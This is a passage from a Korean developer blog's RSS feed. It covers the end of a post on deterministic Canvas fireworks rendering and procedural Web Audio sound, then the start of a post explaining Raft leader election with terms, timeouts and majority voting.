  h &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;imul&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;h &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;h &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1274126177&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  h &lt;span class=&quot;token operator&quot;&gt;^=&lt;/span&gt; h &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;h &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4294967296&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;상태를 들고 있지 않으므로 호출 순서와 무관합니다. 별의 방향·속도·수명, 건물과 창문, 별자리, 연기까지 전부 여기서 나옵니다.&lt;/p&gt;
&lt;p&gt;효과음도 마찬가지입니다. 잔가락(crackle)을 난수로 흩뿌리면 렌더할 때마다 소리가 달라집니다. 황금비를 이용한 결정론적 배치를 쓰면 불규칙하게 들리면서도 재현됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; u &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.6180339887&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; at &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;pow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.85&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; dur &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; u &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.045&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;다만 픽셀 단위로 완전히 같지는 않다&lt;/h3&gt;
&lt;p&gt;방문 순서를 바꿔 가며 같은 프레임을 두 번 뽑아 비교했습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;프레임&lt;/th&gt;
&lt;th&gt;두 번 렌더 결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;파티클 없는 구간&lt;/td&gt;
&lt;td&gt;완전 동일 (PSNR ∞)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;파티클 구간&lt;/td&gt;
&lt;td&gt;PSNR 77.6dB · 최대 차이 12/255&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;파티클 위치가 어긋난 게 아닙니다. 위치가 흔들리면 PSNR이 30dB대로 떨어집니다. &lt;code class=&quot;language-text&quot;&gt;lighter&lt;/code&gt;로 겹쳐 쌓인 밝은 픽셀에서 브라우저 래스터라이저가 반올림을 다르게 하는 것이고, H.264 양자화가 이보다 크게 뭉갭니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;비트 단위 일치를 전제로 하는 검사(루프 이음매 PSNR 비교 등)에는 파티클을 쓰면 안 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;소리도 코드로 만든다&lt;/h2&gt;
&lt;p&gt;에셋 파일 없이 Web Audio API만 씁니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;소리&lt;/th&gt;
&lt;th&gt;만드는 법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;발사&lt;/td&gt;
&lt;td&gt;노이즈를 밴드패스에 통과시켜 260Hz → 1500Hz로 쓸어 올린다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;개화&lt;/td&gt;
&lt;td&gt;저역 사인(60→30Hz)과 로우패스 노이즈를 겹친다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;잔가락&lt;/td&gt;
&lt;td&gt;짧은 하이패스 노이즈 팝을 흩뿌린다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;강변 소음&lt;/td&gt;
&lt;td&gt;로우패스 노이즈를 아주 낮게 깐다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;배경음악은 넣지 않았습니다. 소리가 전부 화면의 동작에 붙어 있으면 음악이 없어도 비어 있다는 느낌이 들지 않습니다.&lt;/p&gt;
&lt;p&gt;그리고 &lt;strong&gt;효과음 큐는 화포 표에서 자동으로 파생시킵니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; shell &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;SHELLS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  sfx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; shell&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;launchAt&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;fx&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;launch&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  sfx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; shell&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;burstAt &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;boomDelay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;shell&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; shell&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;fx&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;boom&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;화면과 소리를 각각 손으로 적으면 반드시 어긋납니다. 한쪽 타이밍을 조정하고 다른 쪽을 깜빡하는 일이 실제로 생깁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;Canvas로 불꽃놀이를 그릴 때 막히는 지점과 해법입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;증상&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;해법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;가운데가 빈 고리&lt;/td&gt;
&lt;td&gt;방향을 2D 원에서 뽑음&lt;/td&gt;
&lt;td&gt;구면에서 뽑아 투영&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;여전히 비어 보임&lt;/td&gt;
&lt;td&gt;꼬리가 짧음&lt;/td&gt;
&lt;td&gt;광적을 0.3초 수준으로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;생각보다 작음&lt;/td&gt;
&lt;td&gt;감속으로 &lt;code class=&quot;language-text&quot;&gt;v/k&lt;/code&gt;만 이동&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;v = r · k&lt;/code&gt;로 환산&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스티커처럼 보임&lt;/td&gt;
&lt;td&gt;상승 궤적 없음&lt;/td&gt;
&lt;td&gt;터지기 전 1.4초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;거리감이 없음&lt;/td&gt;
&lt;td&gt;소리가 즉시 남&lt;/td&gt;
&lt;td&gt;343m/s로 지연 계산&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;하늘이 뿌옇게 뜸&lt;/td&gt;
&lt;td&gt;화면 전체를 밝게 채움&lt;/td&gt;
&lt;td&gt;터진 자리 주변 후광&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프레임이 느림&lt;/td&gt;
&lt;td&gt;파티클마다 &lt;code class=&quot;language-text&quot;&gt;shadowBlur&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;글로우 스프라이트 캐시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프레임이 튐&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Math.random()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;(seed, index)&lt;/code&gt; 해시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심은 하나입니다. &lt;strong&gt;불꽃을 더 예쁘게 만드는 것보다, 불꽃이 놓인 공간을 만드는 쪽이 효과가 큽니다.&lt;/strong&gt; 상승 궤적, 늦게 오는 소리, 물에 비친 빛, 같이 밝아지는 도시, 남은 연기 — 이 다섯 개가 없으면 아무리 화려한 파티클도 화면에 붙은 그림으로 보입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 것&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. WebGL을 써야 하지 않나요?&lt;/strong&gt;
A. 파티클이 수만 개 단위로 가면 WebGL이 맞습니다. 다만 글로우 스프라이트를 캐시하면 Canvas 2D로도 1,000개 이상을 무리 없이 그릴 수 있습니다. 이 영상은 동시에 최대 1,200개 안팎이었고 프레임당 0.29초로 렌더됐습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 실시간 애니메이션에도 결정론이 필요한가요?&lt;/strong&gt;
A. 화면에 띄우기만 한다면 필요 없습니다. &lt;code class=&quot;language-text&quot;&gt;Math.random()&lt;/code&gt;을 써도 됩니다. 영상 파일로 뽑거나, 특정 시점으로 되감아야 하거나, 테스트로 프레임을 비교해야 할 때만 필요합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 파티클 개수는 몇 개가 적당한가요?&lt;/strong&gt;
A. 화포 하나에 100~250개면 충분합니다. 개수보다 &lt;strong&gt;꼬리 길이와 크기 분포&lt;/strong&gt;가 인상을 훨씬 크게 바꿉니다. 개수를 두 배로 늘리는 것보다 꼬리를 늘리는 쪽이 효과가 큽니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Raft 리더 선출 원리 — Leader 장애 후 과반수가 결정하는 과정]]></title><description><![CDATA[안녕하세요. 자바파커입니다. Raft 클러스터의 모든 노드는 같은 역할로 고정되지 않습니다. 한 노드는 Leader로 동작하고 나머지는 Follower가 됩니다. Leader…]]></description><link>https://blog.javapark.kr/raft-leader-election/</link><guid isPermaLink="false">https://blog.javapark.kr/raft-leader-election/</guid><pubDate>Sun, 06 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/5911f48ac6dbae1581e6e2913e4ddb05/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3UlEQVR42mVS7W7aMBRN49iJY8chdmLynUAICFhLW77KWLuhbtomRPtjP/cEe/8X2A1U06ZJR0dXto/uuffYQLZkshbRSEQNMFcDi4aWo+D8DVA7yqIaudpiMfFSwlPs9i0nNEwi/WSuh5ukfUjaXS99Z1wxRAK4O2tCzHPMC2CpZ4GeQk28sgNPDWiy2nx8/+Hz9e3Dcv34dPj+/PU1zUeGgU3sQWfMS8xywothsy8HW5Bd9LRXG8gOFoefm+Ov8fo0Xr/Mtsf57rXZ/kgWL2q4E+kNojG8tnjO5YgFDQIjXoG9kqkRiGXUPunJJ3in6rXXn4rsNmofq/uTrFauapm+DsfPRAxAj3jhyLFqDyy+YWFrIEeKIO2FBeVa6tpXhevFlEeeH1ukZ2JfpMt4ccSyAf/Eq6ia6Ok3ntyxaNJ1Nklg4sC05RUw6YoOBFatMIthYORmQVY7fmkxGLi0eGeb62knhp1Zlzy6hN5wSQvTCLECfO33i8Gspdmdnn8h/gB71V+dSYAu/CfeM7rMeaXT5n61yOrazZbJ8mSHDRYllcNOTNzIZv0L//M9OihbFEw2VOTneCvaH1Ld2H5t+0UntnnsihSYivQ/sURnOzC8LTLHLxxR2l5+/mT6NwQtNQ9DqM34AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/5911f48ac6dbae1581e6e2913e4ddb05/a1b3b/thumbnail.webp 215w,
/static/5911f48ac6dbae1581e6e2913e4ddb05/fc700/thumbnail.webp 430w,
/static/5911f48ac6dbae1581e6e2913e4ddb05/521f7/thumbnail.webp 860w,
/static/5911f48ac6dbae1581e6e2913e4ddb05/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/5911f48ac6dbae1581e6e2913e4ddb05/f7886/thumbnail.png 215w,
/static/5911f48ac6dbae1581e6e2913e4ddb05/bc750/thumbnail.png 430w,
/static/5911f48ac6dbae1581e6e2913e4ddb05/3e3fe/thumbnail.png 860w,
/static/5911f48ac6dbae1581e6e2913e4ddb05/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/5911f48ac6dbae1581e6e2913e4ddb05/3e3fe/thumbnail.png&apos; alt=&apos;Raft 클러스터에서 후보 C가 3표를 얻어 새 리더가 되는 과정&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Raft 클러스터에서 후보 C가 3표를 얻어 새 리더가 되는 과정&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;Raft 클러스터의 모든 노드는 같은 역할로 고정되지 않습니다. 한 노드는 Leader로 동작하고 나머지는 Follower가 됩니다. Leader가 멈추면 운영자가 새 리더를 지정하는 것이 아니라 노드들이 투표로 선출합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Raft의 리더는 가장 빠른 서버가 아니라, 현재 Term에서 과반수의 동의를 얻은 서버입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 글은 Raft 전체 중에서도 리더 선출에 집중합니다. 로그 복제와 커밋 규칙은 리더 선출 이후의 별도 단계입니다.&lt;/p&gt;
&lt;p&gt;리더가 죽고 새 리더가 뽑히기까지를 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다. Heartbeat가 끊기고, 타이머가 각자 다르게 만료되고, 과반수 3표가 채워지는 순간까지 움직이는 그림으로 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/hC-rbcUOxKo&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAADfklEQVR42l1U23LbNhDlS3i/ixdRFCleIYqkKFLSSJb64HQ8be20bu3ETjzT9v9/oweg5E4yc4YEsHt2gYPFcrwW8vpcMCLRWIhmAkhmwptJFKz6ZNgkg+sRgS2OVsFYCHpEWVrICZQZiwajWalsZYKVTtxln27reNOCn24lK5esDFbgGiLidZDBxJwZZCtX7Fyw8tm0WadboEmGIdsrk1K2C9m+hBBZCBC5S0I7gw0e8AMku2jT7Zkcz+QmizpMVbZ+DTGSE45FSnBgycxGpgzyhMjO0gsaZ9rQMVtk1kIyU+rM+Mi8UBxiJzdG2OPAskMUt1K9lerVsrsCMFC8leIuZZbZivZWfMQBISGnOMuwf4r2r/HhzU5P8oRoXqP5jT4FWgBjQPUakL3qLj58g/O0eUByzkpu5tvn9PQ26x/D4Ql5GLPV/bU+7RjW1xDtfP8C5zk8+7+wU04PNsnxjfz0Ut7+669+U92KeW8ALaBg447yvVU4PBfnN3L+Fu2+YMsQLLMXx7B/DDb34w7hSjmz/n/QEJ3m18asD9pPwfp3IxygHEfVN3HJuRpUjMnSznqYR2DM8tPkqruScBfQFbBLSobaVKdZa4Rr3W/fyeZ8a4TAcN08PTmUpzfClOfGwgAZUhnRd+QLLpk3MFGyW8lO+QO5VJxKj9aS1yruD2dm4uH+vNVIVibfk2lJTpZm2JC2XeSN6ndUpBE0ZwdRrfiguJc9v5MvJa255Nfb5ec/6tf7qt/UsrM2IJLfaW4dNA/JzT/J6W8UCdRSULB2AY1BxqT4YJTLJfn0c7k7VIdT/edDYy06I+70qLXzQ3zzMj++hLsv4fZZQ9nS51HQCmNPKhfMIkrKp1+K03l393Fz/5Gofq2iKv1aC9aox+L0Wp6/okje017IbCcF+G1TPN6R+1syjYhgL1FDslPhPZrRfj48sZIc6CVfXyXHOkNKG41d8EapOVCCiBZRMIA2DHhD41ZFPZWMaz/Ae0ZPUr3KnLUoHdEuBIuINpFswluEN+kXgcTJUqQRSzVcqfFK9onkFCByvLHA7U2iDchoQABv5qpTdOvy4ZYcdzjCGBS6ZGpU6VktB0R0CK9HtIfxJtRG38vhJFoM6DtuYXj0K0GO6yKv57yewV+wSvRQ7oM6w0/QY9YJx+4LMTLk4Q34ZaKVYcoWYVoIZsz8IxD/A40PnCCbvO3UAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/3645d989108ce52aecbee09ef4086892/a1b3b/video-thumb.webp 215w,
/static/3645d989108ce52aecbee09ef4086892/fc700/video-thumb.webp 430w,
/static/3645d989108ce52aecbee09ef4086892/521f7/video-thumb.webp 860w,
/static/3645d989108ce52aecbee09ef4086892/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/3645d989108ce52aecbee09ef4086892/f7886/video-thumb.png 215w,
/static/3645d989108ce52aecbee09ef4086892/bc750/video-thumb.png 430w,
/static/3645d989108ce52aecbee09ef4086892/3e3fe/video-thumb.png 860w,
/static/3645d989108ce52aecbee09ef4086892/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/3645d989108ce52aecbee09ef4086892/3e3fe/video-thumb.png&apos; alt=&apos;Raft 리더 선출 영상 — 과반수 3표를 얻은 C가 새 리더가 되는 순간&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Raft 리더 선출 영상 — 과반수 3표를 얻은 C가 새 리더가 되는 순간&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;세 가지 상태&lt;/h2&gt;
&lt;p&gt;Raft 노드는 다음 상태 중 하나입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Follower  → Leader의 Heartbeat를 기다림
Candidate → 선거를 시작하고 표를 요청
Leader    → 로그 복제와 Heartbeat를 주도&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;정상 상태에서는 Leader가 주기적으로 Heartbeat를 보냅니다. Follower는 이를 받을 때마다 Election Timeout을 다시 시작합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Term은 선거의 세대 번호다&lt;/h2&gt;
&lt;p&gt;Term은 단조 증가하는 정수입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;TERM 8: Leader A
TERM 9: Leader C&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각 Term에는 최대 한 명의 Leader만 존재할 수 있습니다. 노드가 자신보다 높은 Term의 메시지를 받으면 새 Term을 인정하고 Follower로 돌아갑니다. 오래된 Leader가 네트워크 복구 후 돌아와도 낮은 Term으로 클러스터를 다시 지배하지 못하는 이유입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;리더 선출 과정&lt;/h2&gt;
&lt;p&gt;5개 노드 A~E가 있고 A가 Leader라고 하겠습니다.&lt;/p&gt;
&lt;h3&gt;1. Heartbeat가 끊긴다&lt;/h3&gt;
&lt;p&gt;A가 장애로 멈추면 Follower들은 즉시 장애를 확정하지 않습니다. 각자 Election Timeout이 만료되기를 기다립니다.&lt;/p&gt;
&lt;h3&gt;2. 가장 먼저 만료된 노드가 Candidate가 된다&lt;/h3&gt;
&lt;p&gt;C의 타이머가 먼저 끝났다면 C는 Term을 9로 올리고 자신에게 한 표를 던집니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;C: Follower → Candidate
currentTerm: 8 → 9
votes: 1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3. RequestVote RPC를 보낸다&lt;/h3&gt;
&lt;p&gt;C는 B, D, E와 장애 난 A에 투표를 요청합니다. 각 노드는 같은 Term에서 한 후보에게만 투표합니다.&lt;/p&gt;
&lt;h3&gt;4. 과반수를 얻으면 Leader가 된다&lt;/h3&gt;
&lt;p&gt;5개 노드의 과반수는 3입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;C self vote + B + D = 3 / 5
→ C becomes Leader&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;새 Leader C는 즉시 Heartbeat를 보내 다른 Candidate와 Follower의 선거 타이머를 초기화합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 Election Timeout은 서로 달라야 할까&lt;/h2&gt;
&lt;p&gt;모든 Follower가 같은 순간 Candidate가 되면 표가 갈릴 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;B → B에게 투표
C → C에게 투표
D → D에게 투표

아무도 과반수 실패 → 다음 Term에서 재선거&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Raft는 무작위 Election Timeout을 사용해 한 노드가 먼저 선거를 시작할 가능성을 높입니다. 원 논문은 다음 관계를 제시합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;broadcastTime ≪ electionTimeout ≪ MTBF&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;메시지 왕복 시간보다 Election Timeout이 충분히 길어야 정상 Heartbeat를 장애로 오판하지 않습니다.&lt;/li&gt;
&lt;li&gt;평균 장애 간격보다는 짧아야 실제 Leader 장애 후 빠르게 복구합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;아무 Candidate에게나 투표하지 않는다&lt;/h2&gt;
&lt;p&gt;리더 선출은 과반수만 얻으면 끝나는 인기 투표가 아닙니다. Candidate의 로그가 투표자의 로그보다 충분히 최신이어야 표를 받을 수 있습니다.&lt;/p&gt;
&lt;p&gt;일반적으로 마지막 로그의 Term을 먼저 비교하고, 같다면 마지막 로그 인덱스를 비교합니다. 뒤처진 노드가 Leader가 되어 이미 커밋된 로그를 잃게 만드는 상황을 막기 위한 규칙입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;장애 순간 쓰기는 어떻게 될까&lt;/h2&gt;
